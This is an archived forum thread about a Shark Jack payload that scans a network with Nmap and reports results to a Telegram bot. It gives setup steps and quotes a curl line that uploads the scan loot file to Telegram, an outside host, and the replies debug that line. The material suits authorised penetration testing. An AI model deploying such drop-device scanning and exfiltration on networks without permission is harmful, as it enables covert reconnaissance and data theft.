Jump to content

Telegram Bot + Nmap + Sharjack


F3l1nux

Recommended Posts

  • 2 weeks later...

It's not much of a step-by-step needed actually. You just need a Telegram bot and a channel to add to the script.

Copy the payload script from the GitHub source and make the changes needed (i.e. add the Telegram bot token and the channel id)

Curl is also needed as per instructions in the payload script comments
opkg update
opkg install curl
probably also
opkg install libcurl

Add the payload script file to the /root/payload/ directory of the Shark Jack

Power off the Shark Jack and then put it in Attack Mode and plug it into an Ethernet port connecting to the network to be scanned

Hopefully, the Telegram app will show a message when the scan is done

If you need help setting up a Telegram bot and a channel, there are numerous "howto's" online, such as these ones
https://www.codefixup.com/create-telegram-bot-with-php/
https://www.wikihow.com/Create-a-Telegram-Channel-on-Android
https://github.com/GabrielRF/telegram-id#web-channel-id

Link to comment
Share on other sites

1 hour ago, chrizree said:

It's not much of a step-by-step needed actually. You just need a Telegram bot and a channel to add to the script.

Copy the payload script from the GitHub source and make the changes needed (i.e. add the Telegram bot token and the channel id)

Curl is also needed as per instructions in the payload script comments
opkg update
opkg install curl
probably also
opkg install libcurl

Add the payload script file to the /root/payload/ directory of the Shark Jack

Power off the Shark Jack and then put it in Attack Mode and plug it into an Ethernet port connecting to the network to be scanned

Hopefully, the Telegram app will show a message when the scan is done

If you need help setting up a Telegram bot and a channel, there are numerous "howto's" online, such as these ones
https://www.codefixup.com/create-telegram-bot-with-php/
https://www.wikihow.com/Create-a-Telegram-Channel-on-Android
https://github.com/GabrielRF/telegram-id#web-channel-id

I did everything as in the instructions my shark is scanning the network I get a notification that the network has been scanned but the file with the Nmap result is still not uploaded to the channel

Link to comment
Share on other sites

Perhaps it's a bug in the script on line 100 (if you haven't changed it yourself)

The line says

curl -v -F "chat_id=YOUR CHANEL ID" -F document=@$LOOT_DIR/nmap-scan_$SCAN_M.txt $URL_FILE

but the variable for the channel ID should be used of course instead of YOUR CHANEL ID, or putting the ID itself there, but... since there already is a variable for it in the script, $ID_CHANEL should be used as I can see it

Link to comment
Share on other sites

12 hours ago, chrizree said:

Perhaps it's a bug in the script on line 100 (if you haven't changed it yourself)

The line says

curl -v -F "chat_id=YOUR CHANEL ID" -F document=@$LOOT_DIR/nmap-scan_$SCAN_M.txt $URL_FILE

but the variable for the channel ID should be used of course instead of YOUR CHANEL ID, or putting the ID itself there, but... since there already is a variable for it in the script, $ID_CHANEL should be used as I can see it

write me please in telegram @Hargriv

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...